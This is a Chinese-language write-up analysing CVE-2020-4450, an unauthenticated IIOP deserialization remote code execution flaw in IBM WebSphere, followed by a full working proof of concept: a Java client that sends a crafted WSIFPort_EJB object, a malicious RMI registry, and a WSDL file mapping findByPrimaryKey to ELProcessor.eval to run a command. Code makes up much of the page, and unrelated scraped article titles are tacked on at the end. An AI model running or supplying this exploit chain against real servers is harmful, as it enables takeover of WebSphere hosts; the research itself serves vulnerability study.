作者:beijixiong404    文章来源:先知社区


漏洞简介

WebSphere是IBM的软件平台,它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。2020年6月8日,IBM官方发布了WebSphere Application Server(WAS)中的远程代码执行(CVE-2020-4450)漏洞的通告,此漏洞由IIOP协议上的反序列化恶意对象造成,未经身份认证的攻击者可以通过IIOP协议远程攻击WAS服务器,在目标服务端执行任意代码,获取目标系统权限。

漏洞分析

WAS对于IIOP的数据由com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request方法被处理,在处理过程中,当ServiceContext对象不为空时,com.ibm.ws.Transaction.JTS.TxInterceptorHelper#demarshalContext被调用,进入反序列化的执行流,在调用过程中,最终调用com.ibm.rmi.io.IIOPInputStream#invokeObjectReader通过反射调用readObject方法进行反序列化,反序列化执行流如下:

readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
……
dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)

ZDI的文章里,找到了一个org.apache.wsif.providers.ejb.WSIFPort_EJB.class,该类的readObject方法中存在JNDI注入逻辑,代码执行流如下:

lookup:150, RegistryContext (com.sun.jndi.rmi.registry)
lookup:217, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:161, DelegateContext (org.apache.aries.jndi)
lookup:428, InitialContext (javax.naming)
getEJBObject:166, EntityHandle (com.ibm.ejs.container) readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)

到此,进入核心利用点,在通过JNDI的lookup方法获得对应的EJBHome实例的时候,是通过environment中定义的ObjectFactory的具体实现类对应获得工厂实例,然后通过对应工厂getObjectInstance方法创建EJBHome实例,这里修改environment变量中的java.naming.factory.object属性值为org.apache.wsif.naming.WSIFServiceObjectFactory。代码执行流如下:

getObjectInstance:138, WSIFServiceObjectFactory (org.apache.wsif.naming), WSIFServiceObjectFactory.java
getObjectInstanceViaContextDotObjectFactories:167, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstanceViaContextDotObjectFactories:125, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:109, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:62, OSGiObjectFactoryBuilder (org.apache.aries.jndi), OSGiObjectFactoryBuilder.java
getObjectInstance:311, NamingManager (javax.naming.spi), NamingManager.java
decodeObject:511, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
lookup:150, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java

之所以修改为该工厂类,是因为该工厂类的getObjectInstance方法的奇妙,该方法调用了WSIF的流程,而其中需要的属性值是通过注入的Reference对象赋值。从而引入自定义的wsdl文件,通过wsdl文件可以将接口方法映射到其他的具体实现中,改变具体接口的执行流;并且可以对className赋值使其返回满足利用条件的EJBHome实例。

具体要实现的核心目的就是返回一个EJBHome实例,通过自定义wsdl文件映射EJBHome的findByPrimaryKey方法(EJB规范)到其他类的方法中,比如javax.el.ELProcessor的eval方法,从而实现代码执行。代码执行栈如下:

eval:57, ELProcessor (javax.el), ELProcessor.java
invoke0:-1, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:90, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:55, DelegatingMethodAccessorImpl (sun.reflect), DelegatingMethodAccessorImpl.java
invoke:508, Method (java.lang.reflect), Method.java
executeRequestResponseOperation:1208, WSIFOperation_Java (org.apache.wsif.providers.java), WSIFOperation_Java.java
invoke:311, WSIFClientProxy (org.apache.wsif.base), WSIFClientProxy.java
findByPrimaryKey:-1, $Proxy82 (com.sun.proxy), Unknown Source

POC

TEST
public class Test {public static void main(String[] args) throws Exception {Properties env = new Properties();env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");InitialContext context = new InitialContext(env);context.list("");Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");f_defaultInitCtx.setAccessible(true);WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");f_context.setAccessible(true);CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");f_corbaNC.setAccessible(true);_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");f__delegate.setAccessible(true);ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");f_ior.setAccessible(true);IOR ior = (IOR) f_ior.get(clientDelegate);Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");f_orb.setAccessible(true);ORB orb = (ORB) f_orb.get(clientDelegate);GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);getConnection.setAccessible(true);Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);setConnectionContexts.setAccessible(true);ArrayList v4 = new ArrayList();WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");fieldEjbObject.setAccessible(true);fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());CDROutputStream outputStream = ORB.createCDROutputStream();outputStream.putEndian();Any any = orb.create_any();any.insert_Value(wsifPort_ejb);PropagationContext propagationContext = new PropagationContext(0,new TransIdentity(null,null, new otid_t(0,0,new byte[0])),new TransIdentity[0],any);PropagationContextHelper.write(outputStream,propagationContext);byte[] result = outputStream.toByteArray();ServiceContext serviceContext = new ServiceContext(0, result);v4.add(serviceContext);setConnectionContexts.invoke(connection, v4);context.list("");}}class EJSWrapperS extends EJSWrapper {@Overridepublic Handle getHandle() throws RemoteException {Handle var2 = null;try {SessionHome sessionHome = new SessionHome();J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");j2eeName.setAccessible(true);j2eeName.set(sessionHome, j2EEName);Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");jndiName.setAccessible(true);jndiName.set(sessionHome, "rmi://169.254.0.117:1099/poc");Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";BeanId beanId = new BeanId(sessionHome, key, true);BeanMetaData beanMetaData = new BeanMetaData(1);beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;Properties initProperties = new Properties();initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);c.setAccessible(true);var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);} catch (Exception e) {e.printStackTrace();}return var2;}}
RMI Server
public class RMIServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String) null, (String) null);ref.add(new StringRefAddr("wsdlLoc", "http://169.254.0.117:80/poc.wsdl"));ref.add(new StringRefAddr("serviceNS", null));ref.add(new StringRefAddr("serviceName", null));ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));ref.add(new StringRefAddr("portTypeName", "Gadget"));ref.add(new StringRefAddr("preferredPort", "JavaPort"));ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("poc", referenceWrapper);}}
wsdl文件
<?xml version="1.0" ?>targetNamespace="http://wsifservice.addressbook/"xmlns:tns="http://wsifservice.addressbook/"xmlns:xsd="http://www.w3.org/1999/XMLSchema"xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"xmlns="http://schemas.xmlsoap.org/wsdl/">name="findByPrimaryKeyRequest">name="el" type="xsd:string"/>name="findByPrimaryKeyResponse">name="counterObject" type="xsd:object"/>name="Gadget">name="findByPrimaryKey">message="tns:findByPrimaryKeyRequest"/>message="tns:findByPrimaryKeyResponse"/>name="JavaBinding" type="tns:Gadget">encoding="Java" style="Java">typeName="xsd:string" formatType="java.lang.String"/>typeName="xsd:object" formatType="java.lang.Object"/>name="findByPrimaryKey">methodName="eval"parameterOrder="el"methodType="instance"returnPart="counterObject"/>name="GadgetService">name="JavaPort" binding="tns:JavaBinding">
className="javax.el.ELProcessor"/>

思考

  • 对EJB规范的理解可以对分析事半功倍。

参考

  • https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere

  • https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8

  • https://paper.seebug.org/1303/

  • https://www.secrss.com/articles/24353

_____ end _____

关注公众号:HACK之道

rmi远程代码执行漏洞_WebSphere 远程代码执行漏洞浅析(CVE20204450)相关推荐

  1. java远程代码注入_Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )...

    原标题:Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 ) 本打算慢慢写出来的,但前几天发现国外有研究员发了一篇关于这个CVE的文章,他和我找到的地方很相似.然而不知 ...

  2. linux内核远程漏洞,CVE-2019-11815:Linux内核竞争条件漏洞导致远程代码执行

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能受到一 ...

  3. linux内核竞争条件漏洞,Linux内核竞争条件漏洞-导致远程代码执行

    原标题: Linux内核竞争条件漏洞-导致远程代码执行 导读*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版 ...

  4. 远程命令执行漏洞与远程代码执行漏洞33333

    远程命令执行漏洞的概念 远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令 远程代码执行漏洞概念 代码执行漏洞也叫代码注入漏洞,指用户通过浏览 ...

  5. commons-collections反序列化漏洞分析——远程代码执行

    commons-collections反序列化漏洞分析--远程代码执行 命令执行以及通过反射进行命令执行 这里先说说java里面的命令执行.其实java的命令执行和PHP类似,PHP一般通过eval和 ...

  6. 齐博cms最新SQL注入网站漏洞 可远程执行代码提权

    齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢.开发架构使用的是php语言以及mysq ...

  7. kingdee漏洞存在多个安全漏洞(通用管理账号+获得数据库密码+远程代码执行)

    kingdee漏洞详情,金蝶eas存在通用管理账号+获得数据库密码漏洞,金蝶apusic存在远程代码执行漏洞. 下面的信息希望乌云在确认漏洞予以模糊处理,以免对厂商和用户产生不良影响: 漏洞一.金蝶e ...

  8. 百度搜霸工具条出现下载任意文件执行漏洞 含攻击代码

    来源:http://seclists.org 百度搜霸工具条出现高危漏洞,访问恶意网页,会下载木马执行,最新版本的工具条也受漏洞影响.百度搜霸的C:/Program Files/baidubar/Ba ...

  9. 命令执行漏洞之远程命令执行和系统命令执行

    渗透学习 命令执行漏洞 文章目录 渗透学习 前言 *本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任.* 一.命令执行漏洞概述 二.实验步骤 1.管道符号 2.远 ...

最新文章

  1. Vue插槽 slot
  2. 【BZOJ 3879】SvT
  3. 关于STM32像EPROM一样可以单字节写内部Flash的理解
  4. 关于DOM2级事件的事件捕获和事件冒泡
  5. JavaScript进阶学习(二)—— 基于原型链继承的js工具库的实现方法
  6. verilog学习记(verilog翻译成c)
  7. vue前端框架面试问题汇总,附答案
  8. NUC1399 Sum It Up【DFS】
  9. 2016年10月20日 .NET Core 1.0.2 更新
  10. asx根据时间点播放
  11. 顺序栈基本操作代码实现
  12. 如何卸载office201032位_office2010卸载不了应该如何通过清理注册表解决方法?
  13. 如何查找一篇论文的源代码
  14. 用QEMU搭建arm开发环境之一:QEMU能干啥
  15. linux rm 回收站,给rm设置回收站
  16. python分析txt文件_python解析文本文件
  17. day14.逻辑运算,位运算
  18. Mac 自动化执行脚本 Expect
  19. Android开发之GPS测试完整案例源码详解之实时检测GPS的状态
  20. ✠OpenGL-10-增强表面细节

热门文章

  1. Linux编程简介——VI
  2. Qt+ArcGIS Engine 10.1 开发(一)
  3. xcode中工程引用设置
  4. Linux设备驱动程序学习(4) -高级字符驱动程序操作[(1)ioctl and llseek]
  5. linux dialog 源码,Linux dialog详解(图形化shell)
  6. idea和搜狗输入法快捷键冲突_ubuntu18.04安装搜狗输入法
  7. 发布-订阅消息常用通信方式
  8. git常用命令,项目删除原有github连接并重新连接,回滚,下拉分支代码,切换分支
  9. Flex DES加密
  10. 筛选法求1到100以内的素数